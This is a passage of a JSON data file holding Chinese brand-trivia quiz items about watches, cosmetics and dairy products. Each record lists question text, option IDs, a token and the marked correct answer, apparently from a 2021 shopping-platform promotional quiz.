04:48:53","status":"1"},{"questionId":"6301443058","questionIndex":"5","questionStem":"豆本豆含有荔枝口味的产品是哪款?","options":"[{\"optionId\":\"LccSx0BXjD43BD2Ytln6XMkaVME_m04vfA\",\"optionDesc\":\"唯甄蜂蜜豆奶系列\\t\\t\"},{\"optionId\":\"LccSx0BXjD43BD2Ytln6Xnc0ZhO1xZKUxA\",\"optionDesc\":\"原味豆奶\"},{\"optionId\":\"LccSx0BXjD43BD2Ytln6X65MnV7wsG3Qgw\",\"optionDesc\":\"唯甄红枣豆奶\"}]","questionToken":"LccSx0BXjD43BD3OpRHhDjmFcCx6TUOrdqGHDCqsKEf1-J3BlZnS7WqpHkSHetW-BSftDvZoMq7Y2dpfLo4X2jkYfjihYw","correct":"{\"optionId\":\"LccSx0BXjD43BD2Ytln6XMkaVME_m04vfA\",\"optionDesc\":\"唯甄蜂蜜豆奶系列\\t\\t\"}","create_time":"27/1/2021 04:33:09","update_time":"27/1/2021 04:33:09","status":"1"},{"questionId":"6301443074","questionIndex":"2","questionStem":"依波路是产自于哪个国家的手表?","options":"[{\"optionId\":\"LccSx0BXjD41CD2Ytln6XvkGmwFu1vBWTDXH\",\"optionDesc\":\"日本\"},{\"optionId\":\"LccSx0BXjD41CD2Ytln6XEMUQ6478tBFsLQN\",\"optionDesc\":\"瑞士\\t\\t\"},{\"optionId\":\"LccSx0BXjD41CD2Ytln6Xzvte_rhETb_ubyP\",\"optionDesc\":\"美国\"}]","questionToken":"LccSx0BXjD41CD3JpRHhDodSc7cEU7Lplon_kmspwQckO-fLDP26Lvm_zukJaiayCZ3ZYKcOBQ4Al-bZPefgnqEvmwzUQA","correct":"{\"optionId\":\"LccSx0BXjD41CD2Ytln6XEMUQ6478tBFsLQN\",\"optionDesc\":\"瑞士\\t\\t\"}","create_time":"27/1/2021 04:32:32","update_time":"27/1/2021 04:32:32","status":"1"},{"questionId":"6301443075","questionIndex":"5","questionStem":"依波路品牌始于哪一年?","options":"[{\"optionId\":\"LccSx0BXjD41CT2Ytln6X7TQGLE88gRWrWU8ng\",\"optionDesc\":\"1876\"},{\"optionId\":\"LccSx0BXjD41CT2Ytln6XGeufHLu4UsCLcMRrA\",\"optionDesc\":\"1856\\t\\t\"},{\"optionId\":\"LccSx0BXjD41CT2Ytln6XjUDysIv0uvsqj-BNA\",\"optionDesc\":\"1850\"}]","questionToken":"LccSx0BXjD41CT3OpRHhDvbN6Wt5mREr7x8BWXHb_56Nf-weeTF-c5MOAdZZYVrUi4ZgUIcd09zr5UP8hwdMv3U5AxHHRA","correct":"{\"optionId\":\"LccSx0BXjD41CT2Ytln6XGeufHLu4UsCLcMRrA\",\"optionDesc\":\"1856\\t\\t\"}","create_time":"27/1/2021 04:35:43","update_time":"27/1/2021 04:35:43","status":"1"},{"questionId":"6301443076","questionIndex":"1","questionStem":"依波路的品牌理念是什么?","options":"[{\"optionId\":\"LccSx0BXjD41Cj2Ytln6XgGBbK7fR2UNTpQO\",\"optionDesc\":\"时间定格此刻\"},{\"optionId\":\"LccSx0BXjD41Cj2Ytln6XAp7FuJErldhqvW4\",\"optionDesc\":\"浪漫时刻因爱永恒\\t\\t\"},{\"optionId\":\"LccSx0BXjD41Cj2Ytln6XyKPzXKGnwMphgAx\",\"optionDesc\":\"浪漫在此刻\"}]","questionToken":"LccSx0BXjD41Cj3KpRHhDpu6iyFXKhuRmMn4ffpA6rSa4W_yqVEPC9wmmZWIGfXNy5b3k0wviWUCX0j03yMZDni1KVHTcA","correct":"{\"optionId\":\"LccSx0BXjD41Cj2Ytln6XAp7FuJErldhqvW4\",\"optionDesc\":\"浪漫时刻因爱永恒\\t\\t\"}","create_time":"27/1/2021 04:37:36","update_time":"27/1/2021 04:37:36","status":"1"},{"questionId":"6301443077","questionIndex":"1","questionStem":"依波路的品牌代言人是谁?","options":"[{\"optionId\":\"LccSx0BXjD41Cz2Ytln6X2zr14nRxENzRLup\",\"optionDesc\":\"林峰\"},{\"optionId\":\"LccSx0BXjD41Cz2Ytln6XJb9NJh_BEs8bwYT\",\"optionDesc\":\"陈慧琳\\t\\t\"},{\"optionId\":\"LccSx0BXjD41Cz2Ytln6XvoUcIUrrP4qcpnc\",\"optionDesc\":\"赵雅芝\"}]","questionToken":"LccSx0BXjD41Cz3KpRHhCWx7Hj6T4rtAuq9tIyD8fZMXDyRGINTwX4anBKs1uKLv6wOF19wXAnN6nahsJlhzSZWHFQzejw","correct":"{\"optionId\":\"LccSx0BXjD41Cz2Ytln6XJb9NJh_BEs8bwYT\",\"optionDesc\":\"陈慧琳\\t\\t\"}","create_time":"27/1/2021 04:31:39","update_time":"27/1/2021 04:31:39","status":"1"},{"questionId":"6301443078","questionIndex":"3","questionStem":"依波路主推特色系列是什么?","options":"[{\"optionId\":\"LccSx0BXjD41BD2Ytln6X98Bgq7IwdmzcmWNcw\",\"optionDesc\":\"祖尔斯系列\"},{\"optionId\":\"LccSx0BXjD41BD2Ytln6XlnuFfz4i5-6eZCcBw\",\"optionDesc\":\"鸡尾酒系列\"},{\"optionId\":\"LccSx0BXjD41BD2Ytln6XI-_vhA6MqqvKDA--A\",\"optionDesc\":\"传奇系列\\t\\t\"}]","questionToken":"LccSx0BXjD41BD3IpRHhCaEft5m86kAcCR1aqfzksNJhTjIUVUYXWLpj2_Gt_fGqGys4LJ107gLC2XDM0JsuUhK_e_bElg","correct":"{\"optionId\":\"LccSx0BXjD41BD2Ytln6XI-_vhA6MqqvKDA--A\",\"optionDesc\":\"传奇系列\\t\\t\"}","create_time":"27/1/2021 04:42:40","update_time":"27/1/2021 04:42:40","status":"1"},{"questionId":"6301443080","questionIndex":"1","questionStem":"摩纹手表的产地是?","options":"[{\"optionId\":\"LccSx0BXjD46DD2Ytln6XPRrobzgcG272K9_\",\"optionDesc\":\"瑞士\\t\"},{\"optionId\":\"LccSx0BXjD46DD2Ytln6Xtaxaleg4WHtycUt\",\"optionDesc\":\"日本\"},{\"optionId\":\"LccSx0BXjD46DD2Ytln6X1lfZkmW4pzr34UO\",\"optionDesc\":\"中国\\t\"}]","questionToken":"LccSx0BXjD46DD3KpRHhCcYqFKoKOEFnljEHu5Y_TjLr1drhcpMpA_SD6YWJ_n0Zmm23D4eZHVV_dPDfcHyz_P1ccLHXAw","correct":"{\"optionId\":\"LccSx0BXjD46DD2Ytln6XPRrobzgcG272K9_\",\"optionDesc\":\"瑞士\\t\"}","create_time":"27/1/2021 04:45:55","update_time":"27/1/2021 04:45:55","status":"1"},{"questionId":"6301443081","questionIndex":"5","questionStem":"摩纹告白系列女表现在是由哪位明星代言?","options":"[{\"optionId\":\"LccSx0BXjD46DT2Ytln6XHQtJvcF2F6dt_OP\",\"optionDesc\":\"金莎\\t\\t\"},{\"optionId\":\"LccSx0BXjD46DT2Ytln6X_S96DSWfiN7QGFL\",\"optionDesc\":\"秦海璐\"},{\"optionId\":\"LccSx0BXjD46DT2Ytln6Xl4Q8o8IOPHLaSCO\",\"optionDesc\":\"毛晓彤\"}]","questionToken":"LccSx0BXjD46DT3OpRHhCRxKsEj-N02cS8_M5cKyhE71mOtQhdFnTQBMi_Lazo6mK3kUgJu5kLbndvs3LZrKVQQ26WpIXw","correct":"{\"optionId\":\"LccSx0BXjD46DT2Ytln6XHQtJvcF2F6dt_OP\",\"optionDesc\":\"金莎\\t\\t\"}","create_time":"27/1/2021 04:45:52","update_time":"27/1/2021 04:45:52","status":"1"},{"questionId":"6301443082","questionIndex":"3","questionStem":"摩纹手表的特色传承标记是?","options":"[{\"optionId\":\"LccSx0BXjD46Dj2Ytln6XlBK_LNb9EVd5VjXeQ\",\"optionDesc\":\"三叉皇冠\"},{\"optionId\":\"LccSx0BXjD46Dj2Ytln6XL36tVal57F52XbXew\",\"optionDesc\":\"红“8”DNA印记\\t\\t\"},{\"optionId\":\"LccSx0BXjD46Dj2Ytln6X_G14kbWJMwUINn7WQ\",\"optionDesc\":\"淬火蓝针\"}]","questionToken":"LccSx0BXjD46Dj3IpRHhDsSjV-9e676oDvjXn1JuMXXJUVs3oq8HyjGdD_1X8wc-v7VG0hBI4bNMDQ7b5HF_EDH1fTAMHw","correct":"{\"optionId\":\"LccSx0BXjD46Dj2Ytln6XL36tVal57F52XbXew\",\"optionDesc\":\"红“8”DNA印记\\t\\t\"}","create_time":"27/1/2021 04:03:34","update_time":"27/1/2021 04:03:34","status":"1"},{"questionId":"6301443083","questionIndex":"2","questionStem":"摩纹手表近年来合作的春节档电影名称是?","options":"[{\"optionId\":\"LccSx0BXjD46Dz2Ytln6X3R4UIH7G8RD0L7x\",\"optionDesc\":\"紧急救援\"},{\"optionId\":\"LccSx0BXjD46Dz2Ytln6XGEcloFv86Y5Su_t\",\"optionDesc\":\"唐人街探案\\t\\t\"},{\"optionId\":\"LccSx0BXjD46Dz2Ytln6XmqqVK5HiVyQOZy3\",\"optionDesc\":\"封神三部曲\"}]","questionToken":"LccSx0BXjD46Dz3JpRHhDntaAUW0038zCujS93ahbsUc5YxQGb0qgtn9uDeoAbhdr0WlgWbkrbnfm_G_pcbYi-2Unb8llQ","correct":"{\"optionId\":\"LccSx0BXjD46Dz2Ytln6XGEcloFv86Y5Su_t\",\"optionDesc\":\"唐人街探案\\t\\t\"}","create_time":"27/1/2021 04:37:36","update_time":"27/1/2021 04:37:36","status":"1"},{"questionId":"6301443085","questionIndex":"5","questionStem":"天美时手表是哪国的品牌?","options":"[{\"optionId\":\"LccSx0BXjD46CT2Ytln6Xw9gUC90vJ_w1bQ\",\"optionDesc\":\"中国\"},{\"optionId\":\"LccSx0BXjD46CT2Ytln6XunHCEKBAf-7KuE\",\"optionDesc\":\"日本\"},{\"optionId\":\"LccSx0BXjD46CT2Ytln6XBQtxKa7JQkt4aA\",\"optionDesc\":\"美国\\t\\t\"}]","questionToken":"LccSx0BXjD46CT3OpRHhDh9U7XdPtX_j2TjpCaAIZqcm9iFQwOxXLz3d27VmPvuRA0JT8dlm_OUfENXZvL6lnzlM-UVlkA","correct":"{\"optionId\":\"LccSx0BXjD46CT2Ytln6XBQtxKa7JQkt4aA\",\"optionDesc\":\"美国\\t\\t\"}","create_time":"27/1/2021 04:54:04","update_time":"27/1/2021 04:54:04","status":"1"},{"questionId":"6301443086","questionIndex":"5","questionStem":"天美时的受众人群是?","options":"[{\"optionId\":\"LccSx0BXjD46Cj2Ytln6Xob_XlXxI-ewUGE\",\"optionDesc\":\"老人\"},{\"optionId\":\"LccSx0BXjD46Cj2Ytln6XJ1I8hI3KIcxkn0\",\"optionDesc\":\"青年&学生\\t\\t\"},{\"optionId\":\"LccSx0BXjD46Cj2Ytln6X5OvbjdsAL8uDBg\",\"optionDesc\":\"儿童\"}]","questionToken":"LccSx0BXjD46Cj3OpRHhCUuporsJNBxw66T7UVimytnzfcUAD4802NndRjgofyEZGLjrfuKFO3ffB_h2qPEvatyNmpYNYg","correct":"{\"optionId\":\"LccSx0BXjD46Cj2Ytln6XJ1I8hI3KIcxkn0\",\"optionDesc\":\"青年&学生\\t\\t\"}","create_time":"27/1/2021 04:51:23","update_time":"27/1/2021 04:51:23","status":"1"},{"questionId":"6301443087","questionIndex":"4","questionStem":"范思哲VERSACE是哪个国家的品牌?","options":"[{\"optionId\":\"LccSx0BXjD46Cz2Ytln6XIYxyyI4-LHhfoyq7A\",\"optionDesc\":\"意大利\\t\\t\"},{\"optionId\":\"LccSx0BXjD46Cz2Ytln6X7GqkNTcKvnEyIzpZA\",\"optionDesc\":\"瑞士\"},{\"optionId\":\"LccSx0BXjD46Cz2Ytln6Xv5TIaZ0qRqhEdvgyQ\",\"optionDesc\":\"法国\"}]","questionToken":"LccSx0BXjD46Cz3PpRHhCbZ7UVQsphXd6sdUmMKTAhxJf5aBwU9pIx_liQMCrf8WEEA0BIF6g0a62_FHd4eL6ARpkt1zSQ","correct":"{\"optionId\":\"LccSx0BXjD46Cz2Ytln6XIYxyyI4-LHhfoyq7A\",\"optionDesc\":\"意大利\\t\\t\"}","create_time":"27/1/2021 04:37:46","update_time":"27/1/2021 04:37:46","status":"1"},{"questionId":"6301443088","questionIndex":"3","questionStem":"范思哲VERSACE手表的产地是?","options":"[{\"optionId\":\"LccSx0BXjD46BD2Ytln6XCukBfkBo-mfvmSK2w\",\"optionDesc\":\"瑞士\\t\\t\"},{\"optionId\":\"LccSx0BXjD46BD2Ytln6X0vfFGKAZF5Sis7s_w\",\"optionDesc\":\"中国\"},{\"optionId\":\"LccSx0BXjD46BD2Ytln6XhgYfHrTp2Ok2x54JQ\",\"optionDesc\":\"意大利\"}]","questionToken":"LccSx0BXjD46BD3IpRHhCUzj172TW7Ssj5XQTbn8o7F0nT0ykfGvXk1thhEJXevjg4n8rS4REEzOPd6SPsIAsPMtMOd_Aw","correct":"{\"optionId\":\"LccSx0BXjD46BD2Ytln6XCukBfkBo-mfvmSK2w\",\"optionDesc\":\"瑞士\\t\\t\"}","create_time":"27/1/2021 04:35:24","update_time":"27/1/2021 04:35:24","status":"1"},{"questionId":"6301443089","questionIndex":"2","questionStem":"范思哲VERSACE手表机芯的质保时间是多长?","options":"[{\"optionId\":\"LccSx0BXjD46BT2Ytln6XNKKCjXVzZsYxL2i\",\"optionDesc\":\"4年\\t\\t\"},{\"optionId\":\"LccSx0BXjD46BT2Ytln6X-p4ZBxTgqFXzTsq\",\"optionDesc\":\"2年\"},{\"optionId\":\"LccSx0BXjD46BT2Ytln6Xo1Ztbc0PSwkpFvp\",\"optionDesc\":\"3年\"}]","questionToken":"LccSx0BXjD46BT3JpRHhDu7dZadEE-s6mBvMtZwSrCo1BLbAkC4BoDTWQV-xzRQQzUVrqbaYLJXJ13WurX02m5w0DsseCA","correct":"{\"optionId\":\"LccSx0BXjD46BT2Ytln6XNKKCjXVzZsYxL2i\",\"optionDesc\":\"4年\\t\\t\"}","create_time":"27/1/2021 04:43:53","update_time":"27/1/2021 04:43:53","status":"1"},{"questionId":"6301443090","questionIndex":"2","questionStem":"范思哲VERSACE手表的标志性图案是?","options":"[{\"optionId\":\"LccSx0BXjD47DD2Ytln6XnUTeAysj1krYsZxkA\",\"optionDesc\":\"希腊回纹\"},{\"optionId\":\"LccSx0BXjD47DD2Ytln6X_31t1MuqtnCCxvITQ\",\"optionDesc\":\"SWISS MADE\"},{\"optionId\":\"LccSx0BXjD47DD2Ytln6XNtEcuYbAfCwh-C4vA\",\"optionDesc\":\"美杜莎头像\\t\\t\"}]","questionToken":"LccSx0BXjD47DD3JpRHhDoq_Wz77EHCW-E4r-dO5AxkOCe1tWf2Q4dtugTep_PQ4HKcERykxOq391iKqFixqcSKj-dok3A","correct":"{\"optionId\":\"LccSx0BXjD47DD2Ytln6XNtEcuYbAfCwh-C4vA\",\"optionDesc\":\"美杜莎头像\\t\\t\"}","create_time":"27/1/2021 04:41:06","update_time":"27/1/2021 04:41:06","status":"1"},{"questionId":"6301443091","questionIndex":"2","questionStem":"欧莱雅源自哪个国家?","options":"[{\"optionId\":\"LccSx0BXjD47DT2Ytln6Xk3jaQj5AwULMYE\",\"optionDesc\":\"英国\"},{\"optionId\":\"LccSx0BXjD47DT2Ytln6X9Q1brY5GF3P5-g\",\"optionDesc\":\"美国\"},{\"optionId\":\"LccSx0BXjD47DT2Ytln6XC10l6BzssG8HGw\",\"optionDesc\":\"法国\\t\\t\"}]","questionToken":"LccSx0BXjD47DT3JpRHhDjlpVYrUinC6D5S9TddtSHj942B6YfbV0MRJhMT8ofY0uEVTuEYqckE1ctJz523t57MZ5JpOlQ","correct":"{\"optionId\":\"LccSx0BXjD47DT2Ytln6XC10l6BzssG8HGw\",\"optionDesc\":\"法国\\t\\t\"}","create_time":"27/1/2021 04:44:52","update_time":"27/1/2021 04:44:52","status":"1"},{"questionId":"6301443092","questionIndex":"1","questionStem":"欧莱雅紫熨斗含有哪个黑科技成分?","options":"[{\"optionId\":\"LccSx0BXjD47Dj2Ytln6XMeTMX8EfGQJKR_9_A\",\"optionDesc\":\"玻色因\\t\\t\"},{\"optionId\":\"LccSx0BXjD47Dj2Ytln6X50auuCHgCgRxUzuIQ\",\"optionDesc\":\"焕肤保湿精华\"},{\"optionId\":\"LccSx0BXjD47Dj2Ytln6Xp74QUYJWfszF375vw\",\"optionDesc\":\"超微研磨粉末\"}]","questionToken":"LccSx0BXjD47Dj3KpRHhDlW-3SO37zIOLYsW7ZuALd6r-7lQBCW2dDz0C7ihPdEPBI-1BlbSU4Ox-yd7KoS3gKL9nw0hMg","correct":"{\"optionId\":\"LccSx0BXjD47Dj2Ytln6XMeTMX8EfGQJKR_9_A\",\"optionDesc\":\"玻色因\\t\\t\"}","create_time":"27/1/2021 04:34:24","update_time":"27/1/2021 04:34:24","status":"1"},{"questionId":"6301443093","questionIndex":"5","questionStem":"以下哪款是2021年京东欧莱雅新款产品?","options":"[{\"optionId\":\"LccSx0BXjD47Dz2Ytln6Xhmpj3pkHDiBoQsp\",\"optionDesc\":\"复颜积雪草微精华\"},{\"optionId\":\"LccSx0BXjD47Dz2Ytln6XxZ9-lyZHEblATG4\",\"optionDesc\":\"青春密码充电眼霜\\t\"},{\"optionId\":\"LccSx0BXjD47Dz2Ytln6XC-z2O6SPywFuSGr\",\"optionDesc\":\"金致臻颜琉金蜜\"}]","questionToken":"LccSx0BXjD47Dz3OpRHhCcnxs5smYJARvoVrdNcilNcTCObYNwEvslzCZOyCmsFMeEV9Uo4QSmAcTtmb_MaADSxYwf2HEQ","correct":"{\"optionId\":\"LccSx0BXjD47Dz2Ytln6XC-z2O6SPywFuSGr\",\"optionDesc\":\"金致臻颜琉金蜜\"}","create_time":"27/1/2021 04:48:25","update_time":"27/1/2021 04:48:25","status":"1"},{"questionId":"6301443094","questionIndex":"2","questionStem":"以下哪款是欧莱雅抗老王牌产品?","options":"[{\"optionId\":\"LccSx0BXjD47CD2Ytln6XLytmXjV95YJfWkKhQ\",\"optionDesc\":\"欧莱雅逆时精华\\t\\t\"},{\"optionId\":\"LccSx0BXjD47CD2Ytln6X0GhYzx7Ak3l6LveKQ\",\"optionDesc\":\"三重源白精华\"},{\"optionId\":\"LccSx0BXjD47CD2Ytln6Xmm6btxp5hOgA_xi7A\",\"optionDesc\":\"青春密码黑精华\"}]","questionToken":"LccSx0BXjD47CD3JpRHhDgVKPOPB-i7Psf7I82Ziz5MHMu2okedle_dOmp9Ffdujn1GbdpOQ1mFMPEECrmD5fzy7jkVuPg","correct":"{\"optionId\":\"LccSx0BXjD47CD2Ytln6XLytmXjV95YJfWkKhQ\",\"optionDesc\":\"欧莱雅逆时精华\\t\\t\"}","create_time":"27/1/2021 04:43:48","update_time":"27/1/2021 04:43:48","status":"1"},{"questionId":"6301443095","questionIndex":"5","questionStem":"以下哪个品牌不属于合生元集团?","options":"[{\"optionId\":\"LccSx0BXjD47CT2Ytln6XCoJxjlVyzZBoVto\",\"optionDesc\":\"妈咪爱\"},{\"optionId\":\"LccSx0BXjD47CT2Ytln6XnY6m9abItax-d53\",\"optionDesc\":\"Dodie\"},{\"optionId\":\"LccSx0BXjD47CT2Ytln6X1CyMSVxyLNEJw-L\",\"optionDesc\":\"Swisse\"}]","questionToken":"LccSx0BXjD47CT3OpRHhDldt6CnMYRPoQ7ZKzS_RENFYKHO4B8MYPDHHuxCv0bx44QRXCjv_mt42AasQoPCzF0TMtTS6UQ","correct":"{\"optionId\":\"LccSx0BXjD47CT2Ytln6XCoJxjlVyzZBoVto\",\"optionDesc\":\"妈咪爱\"}","create_time":"27/1/2021 04:50:26","update_time":"27/1/2021 04:50:26","status":"1"},{"questionId":"6301443096","questionIndex":"2","questionStem":"以下哪个不属于合生元业务?","options":"[{\"optionId\":\"LccSx0BXjD47Cj2Ytln6XhV8LpzaJDDiIp8\",\"optionDesc\":\"婴幼儿益生菌\"},{\"optionId\":\"LccSx0BXjD47Cj2Ytln6XJ4jBDv1Yakutfw\",\"optionDesc\":\"成人奶粉\\t\\t\"},{\"optionId\":\"LccSx0BXjD47Cj2Ytln6X8-1nypJ0xoUKA4\",\"optionDesc\":\"婴幼儿奶粉\"}]","questionToken":"LccSx0BXjD47Cj3JpRHhCXKr-cr7k6g_aCGXwYk30jodW6pQYewa7qDju-cnjr6Qma6AvCNQY_jZM7TeeIvfTp5P3ORZeA","correct":"{\"optionId\":\"LccSx0BXjD47Cj2Ytln6XJ4jBDv1Yakutfw\",\"optionDesc\":\"成人奶粉\\t\\t\"}","create_time":"27/1/2021 04:50:15","update_time":"27/1/2021 04:50:15","status":"1"},{"questionId":"6301443097","questionIndex":"2","questionStem":"欧莱雅男士系列于哪一年推出?","options":"[{\"optionId\":\"LccSx0BXjD47Cz2Ytln6Xx-yPGmf4OvEt0A\",\"optionDesc\":\"2005\"},{\"optionId\":\"LccSx0BXjD47Cz2Ytln6XA6NOkgwDjfmKf4\",\"optionDesc\":\"2004\\t\\t\"},{\"optionId\":\"LccSx0BXjD47Cz2Ytln6Xl_nxuJCvpn5I_M\",\"optionDesc\":\"2006\"}]","questionToken":"LccSx0BXjD47Cz3JpRHhDkGu9dKi1-OYaVRoBsYKn18-ojPu4k68eOyRjOlVbppnMbhB8HY1eAaUomJ3nT-AZ1Pb-WGNpQ","correct":"{\"optionId\":\"LccSx0BXjD47Cz2Ytln6XA6NOkgwDjfmKf4\",\"optionDesc\":\"2004\\t\\t\"}","create_time":"27/1/2021 04:40:34","update_time":"27/1/2021 04:40:34","status":"1"},{"questionId":"6301443098","questionIndex":"4","questionStem":"欧莱雅男士在中国大陆地区的首位代言人是?","options":"[{\"optionId\":\"LccSx0BXjD47BD2Ytln6Xrx5oRvTiFgsAaI\",\"optionDesc\":\"井柏然\"},{\"optionId\":\"LccSx0BXjD47BD2Ytln6XJ7i821YUYZGrlU\",\"optionDesc\":\"吴彦祖\\t\\t\"},{\"optionId\":\"LccSx0BXjD47BD2Ytln6Xyhmw8SjKth3VWk\",\"optionDesc\":\"阮经天\"}]","questionToken":"LccSx0BXjD47BD3PpRHhDnR9BSsTecBhgkWiskYUVWAUKxsUOGWXgOeNZrPgedgk0uhBo3fk6XocNeVFdbKqqH7AYCAKUA","correct":"{\"optionId\":\"LccSx0BXjD47BD2Ytln6XJ7i821YUYZGrlU\",\"optionDesc\":\"吴彦祖\\t\\t\"}","create_time":"27/1/2021 04:40:09","update_time":"27/1/2021 04:40:09","status":"1"},{"questionId":"6301443099","questionIndex":"5","questionStem":"以下哪个不是欧莱雅男士护肤产品系列?","options":"[{\"optionId\":\"LccSx0BXjD47BT2Ytln6XKai5LR4zCffMkw\",\"optionDesc\":\"清爽醒肤系列\\t\\t\"},{\"optionId\":\"LccSx0BXjD47BT2Ytln6X6_yTd_J6y3eJ-E\",\"optionDesc\":\"控油系列\"},{\"optionId\":\"LccSx0BXjD47BT2Ytln6Xs9zIRRptK4GD-s\",\"optionDesc\":\"劲能系列\"}]","questionToken":"LccSx0BXjD47BT3OpRHhCditmU6a4kWqYpgdJejwlzUT2wzDf69VQoRXoRJMmOvqo6DryO49WcvyDySnKXTeC0dVIMrPIA","correct":"{\"optionId\":\"LccSx0BXjD47BT2Ytln6XKai5LR4zCffMkw\",\"optionDesc\":\"清爽醒肤系列\\t\\t\"}","create_time":"27/1/2021 04:49:11","update_time":"27/1/2021 04:49:11","status":"1"},{"questionId":"6301443100","questionIndex":"4","questionStem":"圣牧有机奶有几个奶源地?","options":"[{\"optionId\":\"LccSx0BXjD_LVa-1pSwh0F2o-M8j1u6HOHTc\",\"optionDesc\":\"3个\"},{\"optionId\":\"LccSx0BXjD_LVa-1pSwh0bxxM89s_lneAOav\",\"optionDesc\":\"2个\\t\"},{\"optionId\":\"LccSx0BXjD_LVa-1pSwh0tFM8fYb_pO5S6P2\",\"optionDesc\":\"1个\\t\"}]","questionToken":"LccSx0BXjD_LVa_itmQ6hw4vStWrMg8P3R6zxddSmmTP7agoecYkDy0_XRydGYiVJ3tMekOKwAGs7jMvcuLxps4l-O71RQ","correct":"{\"optionId\":\"LccSx0BXjD_LVa-1pSwh0tFM8fYb_pO5S6P2\",\"optionDesc\":\"1个\\t\"}","create_time":"27/1/2021 04:35:41","update_time":"27/1/2021 04:35:41","status":"1"},{"questionId":"6301443101","questionIndex":"4","questionStem":"圣牧产品标志性颜色?","options":"[{\"optionId\":\"LccSx0BXjD_LVK-1pSwh0T98jqFa_WVYJw\",\"optionDesc\":\"黑色+白色\"},{\"optionId\":\"LccSx0BXjD_LVK-1pSwh0DNwwaMyv8w7Lg\",\"optionDesc\":\"红色+蓝色\"},{\"optionId\":\"LccSx0BXjD_LVK-1pSwh0gg0x8fdJFXQpw\",\"optionDesc\":\"绿色+金色\\t\\t\"}]","questionToken":"LccSx0BXjD_LVK_itmQ6gBGQb4EXOZFhCBwo8wgQSQZ0KP9QRsyj0nW-XOzAhD_RK_fof_3xkmy7WwEc-tTG5ZlX01YUDg","correct":"{\"optionId\":\"LccSx0BXjD_LVK-1pSwh0gg0x8fdJFXQpw\",\"optionDesc\":\"绿色+金色\\t\\t\"}","create_time":"27/1/2021 04:33:08","update_time":"27/1/2021 04:33:08","status":"1"},{"questionId":"6301443102","questionIndex":"2","questionStem":"圣牧脱脂奶的特点?","options":"[{\"optionId\":\"LccSx0BXjD_LV6-1pSwh0CTKxHt5L0cIDAY\",\"optionDesc\":\"口感如水\"},{\"optionId\":\"LccSx0BXjD_LV6-1pSwh0iS5o8_vLBOzog0\",\"optionDesc\":\"女性专供奶\\t\\t\"},{\"optionId\":\"LccSx0BXjD_LV6-1pSwh0aYpwTPxnJHqKdc\",\"optionDesc\":\"脱脂率72%\"}]","questionToken":"LccSx0BXjD_LV6_ktmQ6h4rnxe5GoJyEBvY9d87CMMnXMyxZNGZfplT1NYZtFGbSAmKK8pNp5QNuUsFaNaX1KpaYW-i1-A","correct":"{\"optionId\":\"LccSx0BXjD_LV6-1pSwh0iS5o8_vLBOzog0\",\"optionDesc\":\"女性专供奶\\t\\t\"}","create_time":"27/1/2021 04:47:44","update_time":"27/1/2021 04:47:44","status":"1"},{"questionId":"6301443103","questionIndex":"1","questionStem":"圣牧有多少年历史?","options":"[{\"optionId\":\"LccSx0BXjD_LVq-1pSwh0Q2oxKdzilAzyiwq\",\"optionDesc\":\"13年\"},{\"optionId\":\"LccSx0BXjD_LVq-1pSwh0hp5s09uPvdjPmFW\",\"optionDesc\":\"11年\\t\"},{\"optionId\":\"LccSx0BXjD_LVq-1pSwh0P0LPUuzhx6gXkAy\",\"optionDesc\":\"110年\"}]","questionToken":"LccSx0BXjD_LVq_ntmQ6hza_1zceWvsBYoaGOV__Jppez9sownNGBnCloPDi9Z4WPMN3_QMtUdZ-HE3HJcwRMgv8MKNNXg","correct":"{\"optionId\":\"LccSx0BXjD_LVq-1pSwh0hp5s09uPvdjPmFW\",\"optionDesc\":\"11年\\t\"}","create_time":"27/1/2021 04:38:07","update_time":"27/1/2021 04:38:07","status":"1"},{"questionId":"6301443104","questionIndex":"5","questionStem":"曼秀雷敦由邓紫棋代言的夏季产品是什么?","options":"[{\"optionId\":\"LccSx0BXjD_LUa-1pSwh0hUQHhQw8PbNbLimYA\",\"optionDesc\":\"小金帽\\t\\t\"},{\"optionId\":\"LccSx0BXjD_LUa-1pSwh0G5nbaEQNZG9h2Hkrw\",\"optionDesc\":\"乐肤洁祛痘\"},{\"optionId\":\"LccSx0BXjD_LUa-1pSwh0dwBZWgFK9iHydDSIA\",\"optionDesc\":\"新碧防晒\"}]","questionToken":"LccSx0BXjD_LUa_jtmQ6h5iyKLdBoTXDommOpqJ1L6ntd8LN-ijRq7mpK0J1btfaGR8fH5sScwqKohlnT7fJMDERF_RtEg","correct":"{\"optionId\":\"LccSx0BXjD_LUa-1pSwh0hUQHhQw8PbNbLimYA\",\"optionDesc\":\"小金帽\\t\\t\"}","create_time":"27/1/2021 04:00:31","update_time":"27/1/2021 04:00:31","status":"1"},{"questionId":"6301443108","questionIndex":"4","questionStem":"曼秀雷敦的哪款唇膏稳居京东top1?","options":"[{\"optionId\":\"LccSx0BXjD_LXa-1pSwh0L03dXyOOzqhrcPb\",\"optionDesc\":\"经典薄荷\"},{\"optionId\":\"LccSx0BXjD_LXa-1pSwh0ZcSnKYgjtEHA1TX\",\"optionDesc\":\"什果冰系列\"},{\"optionId\":\"LccSx0BXjD_LXa-1pSwh0ukGgRHoG2t0s3t3\",\"optionDesc\":\"天然无香料\\t\\t\"}]","questionToken":"LccSx0BXjD_LXa_itmQ6gHEAVQbqIYi7sSbtBylA9eo3GkJ0ClrJgSnDwNd51n70Np-iQxz2fZs4pbmY0io6rtFmQgqrKg","correct":"{\"optionId\":\"LccSx0BXjD_LXa-1pSwh0ukGgRHoG2t0s3t3\",\"optionDesc\":\"天然无香料\\t\\t\"}","create_time":"27/1/2021 04:37:36","update_time":"27/1/2021 04:37:36","status":"1"},{"questionId":"6301443109","questionIndex":"1","questionStem":"曼秀雷敦男士的代言人是谁?","options":"[{\"optionId\":\"LccSx0BXjD_LXK-1pSwh0dFKXdL0JAxMzaOKjw\",\"optionDesc\":\"黄晓明\"},{\"optionId\":\"LccSx0BXjD_LXK-1pSwh0pM9uzgvyj3k0wRX5A\",\"optionDesc\":\"彭于晏\"},{\"optionId\":\"LccSx0BXjD_LXK-1pSwh0Do-hvZdto3zeP_hQg\",\"optionDesc\":\"虞书欣\"}]","questionToken":"LccSx0BXjD_LXK_ntmQ6gDRqHWfln-Ls8e708iqR8sy_KOZX58ynH-T80mZ4ZSHGqOfzWyJ4Ek8nysZwElEnjITenLenLw","correct":"{\"optionId\":\"LccSx0BXjD_LXK-1pSwh0pM9uzgvyj3k0wRX5A\",\"optionDesc\":\"彭于晏\"}","create_time":"27/1/2021 04:39:22","update_time":"27/1/2021 